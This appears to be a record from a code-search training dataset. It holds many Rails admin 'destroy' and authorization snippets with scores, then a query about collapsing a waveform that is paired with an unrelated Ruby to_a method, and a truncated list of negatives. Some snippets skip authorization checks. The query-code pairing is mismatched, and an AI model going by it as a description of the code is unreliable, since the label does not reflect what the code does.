[ "def destroy\n authorize @admin\n\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin.destroy\n\n head :no_content\n end", "def destroy\n restrict 'allow only admins' or begin\n @admin = Admin.find_by_id(params[:id])\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url }\n format.xml { head :ok }\n end\n end\n end", "def destroy\n restrict 'allow only admins' or begin\n @admin = Admin.find_by_id(params[:id])\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url }\n format.xml { head :ok }\n end\n end\n end", "def require_admin\n end", "def before_destroy\n\n end", "def destroy\n authorize @admin\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url, notice: 'Admin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin.destroy\n respond_to do |format|\n \n end\n end", "def destroy\n authorize Admin\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url, notice: 'Admin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy?\n user.admin?\n end", "def destroy?\n user.admin?\n end", "def destroy\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url }\n format.json { head :no_content }\n end\n end", "def admin\n end", "def admin\n end", "def admin\n end", "def admin\n end", "def delete\n @admin = Admin.find(params[:id])\n end", "def destroy\n @admin_action.destroy\n respond_to do |format|\n format.html { redirect_to admin_actions_url, notice: 'Admin action was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def admin\n\n end", "def destroy\n authorize! :destroy, @admin_system_admin\n @admin_system_admin.destroy\n respond_to do |format|\n format.html { redirect_to admin_system_admins_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin.destroy\n\n render json: { operation: 'OK' }, status: :ok\n end", "def destroy?\n user.admin?\n end", "def require_admin\n unless view_context.admin?\n redirect_to root_url\n end\n end", "def destroy\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_sys_admins_url }\n format.json { render json: { status: 200 } }\n end\n end", "def destroy\n @admin = Admin.find(params[:id])\n @admin.destroy\n\n respond_to do |format|\n format.html { redirect_to admins_url }\n format.json { head :no_content }\n end\n end", "def admin_required\n redirect_to(\"/\") unless admin?\n end", "def destroy\n \t#call logout method in admin_helper but only if we r loggedin\n \tlog_out if logged_in?\n \t#redirect him to homepage\n \tredirect_to root_path\n end", "def destroy\n @admin_admin.destroy\n respond_to do |format|\n format.html { redirect_to admin_admins_url, notice: 'Admin was successfully destroyed.' }\n end\n end", "def destroy?\n admin.root?\n end", "def destroy\n @admin = Admin.find(params[:id])\n @admin.destroy\n redirect_to(admin_index_path)\n end", "def destroy\n before_filter :require_admin! #FOR NOW, DON'T WANT PEOPLE TO DESTROY THINGS\n @thing.destroy\n respond_to do |format|\n format.html { redirect_to things_url, notice: 'Thing was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def admin\n #TODO\n end", "def authorize_as_admin\n if current_user.nil?\n head :unauthorized\n elsif !current_user.is_admin?\n render json: { status: 200, msg: 'You do not have permission to delete this!!!' }\n end\n end", "def destroy\n flash[:error] = 'Accounts can only be deleted by admins!'\n redirect_to edit_user_registration_path\n end", "def require_admin\n redirect_to(root_path) unless current_user.admin?\n end", "def destroy\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url, notice: 'Admin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url, notice: 'Admin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url, notice: 'Admin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url, notice: 'Admin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url, notice: 'Admin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url, notice: 'Admin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url, notice: 'Admin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def enforce_delete_permissions\n enforce_edit_permissions\n end", "def delete\n # All work done via before_filters.\n end", "def destroy?\n user&.admin?\n end", "def destroy\n restrict('allow only admins') or begin\n @page = Page.find_by_stub(params[:stub]) || Page.find_by_id(params[:id])\n @page.destroy\n respond_to do |format|\n format.html { redirect_to manage_pages_url }\n format.xml { head :ok }\n end\n end\n end", "def before_destroy\n return false if super == false\n\n if admins = User.filter(:admin => true) and admins.count == 1 and admins.first.id == self.id\n self.errors.add nil, \"Can't destroy the only administrator.\"\n return false\n end\n end", "def destroy\n # Weird scenario where the security for this action was failing via Rake but not the IDE. Uncommenting seemed to fix the problem\n super\n end", "def destroy\n @admin = Admin.find(params[:id])\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url, notice: 'Admin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy?\n return true if user.admin?\n end", "def destroy\n @admin_admin.destroy\n respond_to do |format|\n format.html { redirect_to admin_admins_url, notice: 'Admin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def admin!\n redirect_to root_path, alert: \"Not authorized\" and return unless is_admin?\n end", "def destroy\n @admin = Admin.find(params[:id])\n @admin.destroy\n\n render json: {:ok => true}\n end", "def destroy\n @admin = Admin.find(params[:id])\n @admin.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_admins_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @admin = Admin.find(params[:id])\n @admin.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_admins_url) }\n format.xml { head :ok }\n end\n end", "def confirm_admin\n redirect_to root_path unless current_user.admin?\n end", "def destroy\n session[:superadmin_mode] = false\n redirect_to_home\n end", "def destroy\n session[:admin_id] = nil\n redirect_to '/adminlogin'\n end", "def destroy\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admin_index_path, notice: I18n.t('messages.destroyed') }\n format.json { head :no_content }\n end\n end", "def appctrl_admin_destroy( model )\n return appctrl_not_permitted() unless ( @current_user.admin? )\n appctrl_destroy( model )\n end", "def destroy\n @admin = Admin.find(params[:id])\n @admin.destroy\n\n respond_to do |format|\n format.html { redirect_to(admins_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @admin = Admin.find(params[:id])\n @admin.destroy\n\n respond_to do |format|\n format.html { redirect_to(admins_url) }\n format.xml { head :ok }\n end\n end", "def require_admin\n redirect_to root_path unless admin_logged_in?\n end", "def destroy\n @admin_resource.destroy\n respond_to do |format|\n format.html { redirect_to admin_resources_url, notice: 'Admin resource was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def ensure_admin!\n authorize! :read, :admin_dashboard\n end", "def ensure_admin!\n authorize! :read, :admin_dashboard\n end", "def delete_admin(id)\n @m = Member.find_by_society_id_and_user_id(self.id, id)\n if @m == nil then return end\n \n if @m.admin \n @m.admin = false\n @m.save\n\t\t\tadd_post(id, \"Administrator status revoked\")\n end\n end", "def authorized_for_destroy?\n current_user.es_admin?\n end", "def destroy\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to backend_admins_url, notice: '删除成功!' }\n format.json { render :destroy }\n end\n end", "def authorized_for_destroy?\n return false unless current_user && current_user.is_admin_type?\n end", "def authorize_admin!\n redirect_to login_path unless current_user\n end", "def destroy\n @useradmin = Useradmin.find(params[:id])\n @useradmin.destroy\n\n respond_to do |format|\n format.html { redirect_to useradmins_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if User.find(params[:id]).admin?\n redirect_to users_url\n else\n User.find(params[:id]).delete\n flash[:sucess] = \"User deleted\"\n redirect_to users_url\n end\n end", "def authorize_admin!\n redirect_to home_path unless current_user&.admin\n end", "def authorizeAdmin\n redirect_to '/adminlogin' unless admin_user\n end", "def app_admin_confirm\n end", "def destroy\n authorize(@administrator, :update?)\n\n @administrator.destroy\n\n redirect_to admin_administrators_path, notice: t('administrator.deleted')\n end", "def delete_admin\n service_response = AdminManagement::AdminUser::DeleteAdmin.new(params).perform\n render_api_response(service_response)\n end", "def destroy?\n user.present? && user.admin?\n end", "def destroy\n if current_user.try(:admin?)\n @medicine.destroy\n respond_to do |format|\n format.html { redirect_to medicines_url, notice: 'Medicine was successfully destroyed.' }\n format.json { head :no_content }\n end\n else\n flash[:alert] = 'You are not an Admin'\n redirect_to action: \"index\"\n end\n \n \n end", "def destroy\n if current_admin.present?\n @client = Client.friendly.find(params[:id])\n @client.destroy\n respond_to do |format|\n format.html { redirect_to admins_url }\n format.json { head :no_content }\n end\n else\n redirect_to new_admin_session_path and return\n end \n end", "def destroy?\n @user&.admin?\n end", "def destroy\n @admin_page.destroy\n respond_to do |format|\n format.html { redirect_to admin_pages_url, notice: 'Page was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n # destroy not implemented - only admins may \"purge\" or \"delete\" users\n raise \"This action is not implemented\"\n end", "def destroy\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admin_admins_url, notice: \"Administrador (#{@admin.name}), foi excluido com sucesso!\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_menu.destroy\n respond_to do |format|\n format.html { redirect_to admin_menus_path, notice: 'Запис успішно видалено.' }\n format.json { head :no_content }\n end\n end", "def destroy\n if @admins.id != current_admin.id \n @admins.destroy\n respond_to do |format|\n format.html { redirect_to admins_path, notice: 'Admin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end", "def destroy\n #add admin check here!\n @diner.destroy\n respond_to do |format|\n format.html { redirect_to diners_url }\n format.json { head :no_content }\n end\n end", "def destroy\n # Use helpers in controller, but not recommended\n if helpers.isAdmin?\n @intervention.destroy\n respond_to do |format|\n format.html { redirect_to interventions_url, notice: \"Intervention was successfully destroyed.\" }\n format.json { head :no_content }\n end\n else\n respond_to do |format|\n format.html { redirect_to interventions_url, danger: \"You have not the permission to do this action.\" }\n end\n end\n end", "def destroy\n authorize! :destroy, @admin_question\n\n @admin_question.destroy\n respond_to do |format|\n format.html { redirect_to admin_questions_url }\n format.json { head :no_content }\n end\n end", "def admin_required\n if current_user && current_user.admin\n return\n end\n redirect_to \"/login\", notice: 'Logga in som administratör.'\n end", "def destroy\n @admin_administrator.destroy\n respond_to do |format|\n format.html { redirect_to admin_administrators_url }\n format.json { head :no_content }\n end\n end", "def ensure_admin_user\n redirect_to dashboard_index_path unless is_admin?\n end", "def destroy\n if @is_current_user_admin \n @car.destroy\n\n respond_to do |format|\n format.html { redirect_to cars_url }\n format.json { head :no_content }\n end\n elsif\n redirect_to cars_url, notice: \"You must be an admin to destroy the car entry\" \n end\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin?\nend", "def destroy\n @admin_admin_user = Admin::AdminUser.find(params[:id])\n @admin_admin_user.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_admin_users_url }\n format.json { head :no_content }\n end\n end", "def authorize_admin!\n unless admin?\n flash[:alert] = 'Unauthorized access'\n redirect_to home_path\n false\n end\n end", "def before_action \n end", "def require_admin!\n return if user_signed_in? && current_user.admin?\n\n flash[:error] = t('flash.no_permission')\n redirect_to_root\n end", "def destroy\n @readonly_administrator = ReadonlyAdministrator.find(params[:id])\n @readonly_administrator.destroy\n head :no_content\n end", "def destroy\n UserService.deleteUser(params[:id],current_admin[:id])\n redirect_to users_path\n end" ]
[ "0.7502397", "0.7442663", "0.7399206", "0.7399206", "0.7286795", "0.72795576", "0.7265812", "0.72478664", "0.7232906", "0.71688616", "0.71688616", "0.71414936", "0.70932156", "0.70932156", "0.70932156", "0.70932156", "0.70842195", "0.707978", "0.70774853", "0.7076375", "0.70451105", "0.7027804", "0.70207745", "0.69981307", "0.69951224", "0.69800645", "0.6963266", "0.6961565", "0.69478106", "0.6925057", "0.6921093", "0.6907338", "0.68933004", "0.68898886", "0.68573356", "0.6850134", "0.68489", "0.68489", "0.68489", "0.68489", "0.68489", "0.68489", "0.6846331", "0.6839358", "0.68366396", "0.68350285", "0.68286455", "0.6823832", "0.6807969", "0.6804215", "0.6798508", "0.6796187", "0.6786399", "0.67769986", "0.67769986", "0.67755973", "0.67738825", "0.6773712", "0.6772302", "0.6769179", "0.67658806", "0.67658806", "0.6719878", "0.6718585", "0.67127025", "0.67127025", "0.67078036", "0.67004985", "0.6692998", "0.66917384", "0.6691503", "0.66824687", "0.6678393", "0.66782236", "0.6677539", "0.66624933", "0.6651529", "0.6650305", "0.6650053", "0.663663", "0.6631559", "0.6629167", "0.6628778", "0.6627208", "0.6625515", "0.6603751", "0.6593624", "0.65933377", "0.65883255", "0.6585743", "0.6580955", "0.6580055", "0.6576502", "0.65698487", "0.6567617", "0.6566825", "0.6566558", "0.65649647", "0.65642875", "0.656122", "0.6557959" ]
0.0
-1
Collapse the waveform, apply the processing to the data
def to_a res = data return [] unless data res = apply_selects(res, opts[:fast_selects] || []) res = strip_unused(res) unless opts[:includes].blank? res = enrich(res, opts[:includes]) res = strip_unenriched(res, opts[:includes]) end res = apply_selects(res, opts[:slow_selects] || []) res = apply_maps(res, opts[:maps] || []) res = wrap(res) res end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def process_with_window\r\n @processed_time_data = time_data.take(time_data_size).times self.window.values\r\n self.strategy.data = @processed_time_data\r\n @fft = self.strategy.calculate\r\n @data = @fft\r\n end", "def postprocess_sampled_data(data, desired_samples, drawing_area_width)\n if data.length > desired_samples\n resample_data(data, desired_samples)\n end\n \n data\n end", "def smoothing; end", "def collect data\n i = 0\n data_size = data.size\n while i < data_size\n remaining = data_size - i\n space = @bins - @fft_pos\n actual = [remaining,space].min\n new_fft_pos = @fft_pos + actual\n @fft[@fft_pos...new_fft_pos] = data[i...i+actual]\n @fft_pos = new_fft_pos\n if @fft_pos == @bins\n @fft_pos = 0\n @next_fft = @fft.dup\n end\n i += actual\n end\n end", "def trim_data\n @buffer.keys.each do |k| \n diff = @buffer[k].count - (1.0 * @scene_width / @x_mul).ceil.to_i\n @buffer[k] = @buffer[k].drop(diff) if diff > 0\n end\n end", "def collapse!(frame = 0)\n mogrify(frame) { |builder| builder.quality(100) }\n end", "def unflatten_data(data)\r\n @measure = data['measurement']\r\n super(data) if defined?(super)\r\n end", "def collapse(length_pixel = 20)\n new_pixels_available = @length_pixel - length_pixel\n @length_pixel = length_pixel\n\n # Distribute the pixels that became available of the other slices\n self.class.sketch.slices.reject{|s| s == self}.each do |slice|\n slice.length_pixel += (new_pixels_available.to_f/(self.class.sketch.slices.length - 1)).round\n end\n self.class.sketch.slices.each_with_index do |slice, i|\n if i == 0\n slice.start_pixel = 1\n else\n slice.start_pixel = self.class.sketch.slices[i-1].stop_pixel + 1\n end\n slice.stop_pixel = slice.start_pixel + slice.length_pixel - 1\n slice.range_pixel = Range.new(slice.start_pixel, slice.stop_pixel)\n slice.resolution = slice.length_pixel.to_f/slice.length_bp\n slice.format_resolution\n slice.fetch_sequence\n end\n\n self.class.sketch.buffer_images[:zoomed] = self.class.sketch.draw_zoomed_buffer\n self.class.sketch.buffer_images[:information_panel] = self.class.sketch.draw_information_panel\n end", "def silence(frames, val = 0)\n d=WaveData.new(Array.new(frames, val))\n self+d if frames > 0\n self\nend", "def mix(wave)\n other = wave.dps\n longest = dps.count > other.count ? dps : other\n longest.each_with_index do |a,i|\n my_v = (dps[i].nil? ? 0 : dps[i])\n oth_v = (other[i].nil? ? 0 : other[i])\n dps[i] = my_v + oth_v \n end\n self\nend", "def process\n return if @metrics.size_all == 0\n\n collate\n write_to_disk\n end", "def setup\n sketch_title 'Additive Wave Exercise'\n @w = width + 16 # Width of entire wave\n @xspacing = 8 # How far apart should each horizontal location be spaced\n @theta = 0.0\n @amplitudes = (0..MAX_WAVES).map { rand(10..30) }\n # @dx = Array.new(MAX_WAVES) do |x| # Value for incrementing X, to be calculated as a function of period and xspacing\n # period = rand(100..300) # How many pixels before the wave repeats\n # (TWO_PI / period) * @xspacing\n # end\n @dx = (0..MAX_WAVES).map do\n period = rand(100..300) # How many pixels before the wave repeats\n (TWO_PI / period) * @xspacing\n end\nend", "def transform\n raise \"No input data\" unless @data\n (0..@freq.size-1).each do |k|\n @data.each_with_index do |d,i|\n @freq[k] = Complex(\n @freq[k].real + d * Math.cos( 2 * Math::PI * k * i / @data.size ),\n @freq[k].imag - d * Math.sin( 2 * Math::PI * k * i / @data.size )\n )\n end\n end\n return @freq\n end", "def compress\n @current_index = 0\n while !buckets_empty?\n @sep = \"\"\n @lines[@current_index] = \"\"\n add_words_starting_size(0)\n @current_index += 1\n end\n end", "def process(show = true)\n self.animations.each do |animation|\n\n if animation[:target] == animation[:start]\n # TODO:hack\n self.data[animation[:start]] = color('black')\n end\n\n if animation[:target] > animation[:start]\n tmp = self.data[animation[:start]+1]\n self.data[animation[:start]+1] = self.data[animation[:start]]\n self.data[animation[:start]] = tmp\n animation[:start] = animation[:start] + 1\n else\n tmp = self.data[animation[:start]-1]\n self.data[animation[:start]-1] = self.data[animation[:start]]\n self.data[animation[:start]] = tmp\n animation[:start] = animation[:start] - 1\n end\n end\n\n self.show if show\n end", "def on_finish(span) # rubocop:disable Metrics/AbcSize\n return unless span.context.trace_flags.sampled?\n\n lock do\n n = spans.size + 1 - max_queue_size\n spans.shift(n) if n.positive?\n spans << span\n @condition.signal if spans.size > max_queue_size / 2\n end\n end", "def elems_in_wh_and_quality_original_calculate_all_at_once\n # Los Secado de process rec_seco los muestra por tarja todos separados\n respond_to do |format|\n format.xlsx {\n @elements = Element.all.includes(:product_type, :drying_method, :warehouse)#.to_a\n\n # Applying filters\n f_params = params.reject{|k, v| v.blank?}\n if !f_params[:product_type_id]\n redirect_back(fallback_location: root_path, alert: \"Debe seleccionar un proceso.\")\n end\n @process = ProductType.find(f_params[:product_type_id]).name\n @elements = @elements.product_type(f_params[:product_type_id]) if f_params[:product_type_id]\n @elements = @elements.location(f_params[:location]) if f_params[:location]\n\n logger.info {\"Descargando elems_in_wh_and_quality\"}\n logger.info {\"Tamaño en memoria #{ActiveSupport::JSON.encode(@elements).size} bytes\"}\n\n # Los elems fueron filtrados por cosas comunes a groups\n # Obtengo todos los elems_ids que cumplen los parametros!\n elems_ids = @elements.ids\n group_ids = @elements.distinct.pluck(:elements_group_id)\n # p \"Groups IDS\"\n # p group_ids\n # Busco las muestras que pertenezcan a los elements o group_samples(para damage, caliber and humidity).\n @dam_samples = DamageSample.where(element_id: elems_ids).or(\n DamageSample.where(elements_group_id: group_ids)).to_a\n @cal_samples = CaliberSample.where(element_id: elems_ids).or( #includes(:caliber, :deviation_sample).to_a\n CaliberSample.where(elements_group_id: group_ids)).to_a\n cal_samples_ids = @cal_samples.map {|cs| cs.id}\n @dev_samples = DeviationSample.where(caliber_sample_id: cal_samples_ids).select(:caliber_sample_id, :deviation).to_a\n @humidity_samples = HumiditySample.where(element_id: elems_ids).or(\n HumiditySample.where(elements_group_id: group_ids))\n .select(:element_id, :humidity, :elements_group_id).to_a\n @sorbate_samples = SorbateSample.where(element_id: elems_ids).select(:element_id, :sorbate).to_a\n @carozo_samples = CarozoSample.where(element_id: elems_ids).select(:element_id, :carozo_percentage).to_a\n\n @damages_list = Util.damages_of_product_type(@process)\n response.headers['Content-Disposition'] = 'attachment; filename=\"'+ Date.today.to_s + ' - Productos: Bodega y calidad.xlsx\"'\n }\n end\n end", "def analyse_data data, training: true\n if @contract.bars.size <= 1\n @current_price_signal = data.close\n else\n signal = (-(@contract.bars.last.pivot[:pp] - data.pivot[:pp]) <=> 0 )\n if !@raw_data.empty? && @raw_data.last[:signal] != signal\n @cum_result += (@current_price_signal - data.price_signal(signal).round(2)) * signal\n action = signal == 1 ? :buy : :sell\n @current_price_signal = data.price_signal( signal ).round(2)\n if training\n logger.info \"#{data.time.strftime(\"%X\")} #{@contract.symbol} -> would fire a #{action}-order @ #{data.close} result: #{@cum_result}\"\n else #--------- change to place to execute the orders -------\n logger.info \"#{data.time.strftime(\"%X\")} #{@contract.symbol} ->: FIRE a #{action}-order @ #{data.close} result: #{@cum_result}\"\n G.clients.first.preview contract: @contract,\n order: Limit.order( size: @default_size, action: action, price: data.close )\n end\n else\n # just print the actual signal\n logger.info \"#{data.time.strftime(\"%X\")} #{@contract.symbol} --> #{signal <0 ? \"still short\" : \"still long\"} #{data.close}\"\n end\n @raw_data.push( RawData.new data.time,\n signal,\n data.close,\n @contract.bars.last.pivot[:pp].round(2),\n data.pivot[:pp].round(2),\n @cum_result )\n # verbose output\n out = @raw_data.last\n end\n\n end", "def running\n output = []\n @array.each_with_index do |t,i|\n # add the current median value to the output array\n output << calculate_median(@array[0..i])\n end\n output\n end", "def recompress( unprocessed )\n emitted, residue=recompress_with_remainder( unprocessed )\n # There are a few cases where the buffer in the recompress method\n # still holds data that can be compressed, so we have to recurse \n # on the residue.\n until residue.empty?\n extra, residue=recompress_with_remainder( residue )\n emitted.push *extra\n emitted.push residue.shift unless residue.empty?\n end\n emitted\n end", "def process(samples)\r\n @v_n_1, @v_n_2 = kernel(samples, @koef, @v_n_1, @v_n_2)\r\n dBm(@koef, @v_n_1, @v_n_2, samples.length)\r\n end", "def clear_transformed_data!\n @transformed_values = []\n end", "def store_filters #:nodoc:\n record = 0x00EC # Record identifier\n length = 0x0000 # Bytes to follow\n\n ids = @object_ids.dup\n spid = ids.shift\n\n filter_area = @filter_area\n num_filters = @filter_count\n\n num_comments = @comments_array.size\n\n # Number of objects written so far.\n num_objects = @images_array.size + @charts_array.size\n\n # Skip this if there aren't any filters.\n return if num_filters == 0\n\n row1, row2, col1, col2 = @filter_area\n\n (0 .. num_filters-1).each do |i|\n vertices = [ col1 +i, 0, row1 , 0,\n col1 +i +1, 0, row1 +1, 0]\n\n if i == 0 and !num_objects.nil?\n # Write the parent MSODRAWIING record.\n dg_length = 168 + 96*(num_filters -1)\n spgr_length = 144 + 96*(num_filters -1)\n\n dg_length = dg_length + 128 *num_comments\n spgr_length = spgr_length + 128 *num_comments\n\n data = store_mso_dg_container(dg_length) +\n store_mso_dg(*ids) +\n store_mso_spgr_container(spgr_length) +\n store_mso_sp_container(40) +\n store_mso_spgr() +\n store_mso_sp(0x0, spid, 0x0005)\n spid = spid + 1\n data = data + store_mso_sp_container(88) +\n store_mso_sp(201, spid, 0x0A00) +\n store_mso_opt_filter() +\n store_mso_client_anchor(1, *vertices) +\n store_mso_client_data()\n spid = spid + 1\n\n else\n # Write the child MSODRAWIING record.\n data = store_mso_sp_container(88) +\n store_mso_sp(201, spid, 0x0A00) +\n store_mso_opt_filter() +\n store_mso_client_anchor(1, *vertices) +\n store_mso_client_data()\n spid = spid + 1\n end\n length = data.length\n header = [record, length].pack(\"vv\")\n append(header, data)\n\n store_obj_filter(num_objects+i+1, col1 +i)\n end\n\n # Simulate the EXTERNSHEET link between the filter and data using a formula\n # such as '=Sheet1!A1'.\n # TODO. Won't work for external data refs. Also should use a more direct\n # method.\n #\n formula = \"=#{@name}!A1\"\n store_formula(formula)\n\n @object_ids[0] = spid\n end", "def split_simplify(deadline,volume)\n info { \"Spliting...\" }\n # The on set is a copy of self [F].\n on = self.simpler_clone\n on0 = Cover.new(*@variables)\n (0..(on.size/2-1)).each do |i|\n on0 << on[i].clone\n end\n on1 = Cover.new(*@variables)\n (((on.size)/2)..(on.size-1)).each do |i|\n on1 << on[i].clone\n end\n debug { \"on0=#{on0}\\n\" }\n debug { \"on1=#{on1}\\n\" }\n # Simplify each part independently\n inc_indent\n on0 = on0.simplify(deadline,volume)\n on1 = on1.simplify(deadline,volume)\n dec_indent\n # And merge the results for simplifying it globally.\n on = on0 + on1\n on.uniq!\n new_cost = cost(on)\n # if (new_cost >= @first_cost) then\n # info { \"Giving up with final cost=#{new_cost}\" }\n # # Probably not much possible optimization, end here.\n # result = self.clone\n # result.uniq!\n # return result\n # end\n # Try to go on but with a timer (set to 7 times the deadline since\n # there are 7 different steps in total).\n begin\n Timeout::timeout(7*deadline) {\n on = on.simplify(deadline,Float::INFINITY)\n }\n rescue Timeout::Error\n info do\n \"Time out for global optimization, ends here...\"\n end\n end\n info do\n \"Final cost: #{cost(on)} (with #{on.size} cubes)\"\n end\n return on\n end", "def ex1\n WaveFile::Reader.new(\n File.expand_path('../440Hz,441samples.wav', File.dirname(__FILE__))\n ) do |reader|\n samples = reader.read(441).samples.to_a\n #puts samples.map(&:inspect).join(\",\")\n samples_to_graph!(samples, '440constant')\n embiggen_and_imgcat!('440constant')\n end\nend", "def finalize_calculations\n\t\t\t@timeFactors.each do |t|\n\t\t\t\tif @metricsDataAggregator[t].hasDataToDump?\n\t\t\t\t\t@metricsDataAggregator[t].aggregateValues()\n\t\t\t\t\t@summaryMetricHashArr << @metricsDataAggregator[t].getCurrentData(@sequenceCounter)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# write the last batch to db\n\t\t\twrite_batch_to_db()\n\n\t\t\treturn true\n\t\tend", "def process(data)\n\t\tdata.each_slice(4) do |m, sec, usec, args|\n process_one_event(m, sec, usec, args)\n\t\tend\n has_event_propagation_updates? || has_structure_updates?\n\t end", "def waveform\n authorize! :read, @master_file\n\n ds = params[:empty] ? WaveformService.new(8, samples_per_frame).empty_waveform(@master_file) : @master_file.waveform\n\n if ds.nil? || ds.empty?\n render plain: 'Not Found', status: :not_found\n else\n if request.headers['Accept-Encoding']&.include? 'deflate'\n response.headers['Content-Encoding'] = 'deflate'\n content = waveform_deflated ds\n mime_type = 'application/zlib'\n else\n content = waveform_inflated ds\n mime_type = 'application/json'\n end\n send_data content, type: mime_type, filename: ds.original_name\n end\n end", "def compose_new_dataBlock(pitchIncrementer)\n\t\t# clear the 'dataBlock' array\n\t\t@dataBlock_array.clear\n\t\t# adjust pitchIncrementer to account for sample rate\n\t\tadjusted_incrementer = (44100.to_f / @sampleRate.to_f) * pitchIncrementer.to_f\n\t\t# determine samples_per_dataBlock, provided that each dataBlock is equal\n\t\t# to one waveform period\n\t\tif ($TABLE_SIZE.to_f).modulo(adjusted_incrementer) == 0.0\n\t\t\t@samples_per_dataBlock = ($TABLE_SIZE.to_f / adjusted_incrementer).to_i\n\t\telse\n\t\t @samples_per_dataBlock = (($TABLE_SIZE.to_f / adjusted_incrementer).truncate)\n\t\tend\n\t\t# reset table positions to 0.0\n\t\t@tablePosition_L = 0.0\n\t\t@tablePosition_R = 0.0\n\t\t# CREATE THE DATABLOCK:\n\t\tfor i in (0...@samples_per_dataBlock)\n\t\t\t# given table position values, get sample value from wavetable\n\t\t\tsample_value_L = $waveTable[@tablePosition_L.round]\n\t\t\tsample_value_R = $waveTable[@tablePosition_R.round]\n\t\t\t# write each channel to dataBlock\n\t\t\tif @bitsPerSample == 16\n\t\t\t\tself.convert_and_write_float_sample_16bit(sample_value_L, mode='dataBlock')\n\t\t\t\tif @numChannels == 2\n\t\t\t\t\tself.convert_and_write_float_sample_16bit(sample_value_R, mode='dataBlock')\n\t\t\t\tend\n\t\t\telsif @bitsPerSample == 32\n\t\t\t\tself.convert_and_write_float_sample_32bit(sample_value_L, mode='dataBlock')\n\t\t\t\tif @numChannels == 2\n\t\t\t\t\tself.convert_and_write_float_sample_32bit(sample_value_R, mode='dataBlock')\n\t\t\t\tend\n\t\t\tend\n\t\t\t# increment the R and L table positions\n\t\t\t@tablePosition_L += adjusted_incrementer\n\t\t\t@tablePosition_R += adjusted_incrementer\n\t\tend\n\t\t# join the dataBlock array to form the finished dataBlock\n\t\t@dataBlock_joined = nil\n\t\t@dataBlock_joined = [@dataBlock_array.join].pack(\"B*\")\n\tend", "def StopTransform\n\t\tout('Q');\n\tend", "def compress(data); end", "def make_data_normalizer(control_col_name = 'control', id_col_name = 'ps_or_tc' )\n # data_normalizer will close over id_col_name and control_col_name\n # once created, it can be called on input and output datafiles\n ->(datafile_in, datafile_out) do\n File.open(datafile_in, 'r') do |fio_in|\n header_ar = fio_in.gets.split\n treatment_cols = get_treatment_cols(header_ar, id_col_name, control_col_name)\n File.open(datafile_out, 'w') do |fio_out|\n add_norm_header(fio_out, id_col_name, treatment_cols)\n msg = \"Normalizing #{datafile_in} -> #{datafile_out}\"\n fio_in.with_progress(msg).inject(fio_out) do |fout, line|\n line_hash = make_line_hash(line, header_ar)\n id = line_hash[id_col_name]\n control_val = line_hash[control_col_name]\n treat_data = line_hash.values_at(*treatment_cols)\n norm_data = normalize_data(control_val, treat_data)\n save_ar(fout, [id] + norm_data)\n end\n end\n end\n end\nend", "def kalman_filter motion, measurements, motion_sig, measurement_sig, mu, sig \n\tmeasurements.each_with_index do | x, i |\n\t\tmu, sig = update(mu, sig, measurements[i], measurement_sig ) \n\t\tputss 'update: '+[mu, sig].inspect\n\t\tmu, sig = predict(mu, sig, motion[i], motion_sig ) \n\t\tputss 'predict: '+[mu, sig].inspect\n\tend\nend", "def continuize!\n @data.each_index do |data_index|\n @data[data_index].each do |attribute_name, attribute|\n att_type = @attributes.find { |attr| attr[:name] == attribute_name }\n #class is a special case. Store original value\n if att_type[:name] == \"class\" or att_type[:name] == @class_attribute\n @old_class_nominal_attributes = att_type[:nominal_attributes]\n end\n\n if att_type[:type] == \"string\" or att_type[:type] == \"nominal\"\n @data[data_index][attribute_name] = att_type[:nominal_attributes].find_index(attribute)\n end\n end\n end\n\n #change attribute types\n @attributes.each do |attribute|\n if attribute[:type] == \"string\" or attribute[:type] == \"nominal\"\n attribute[:type] = \"numeric\"\n attribute[:old_nominal_attributes] = attribute[:nominal_attributes]\n attribute[:nominal_attributes] = nil\n end\n end\n self\n end", "def 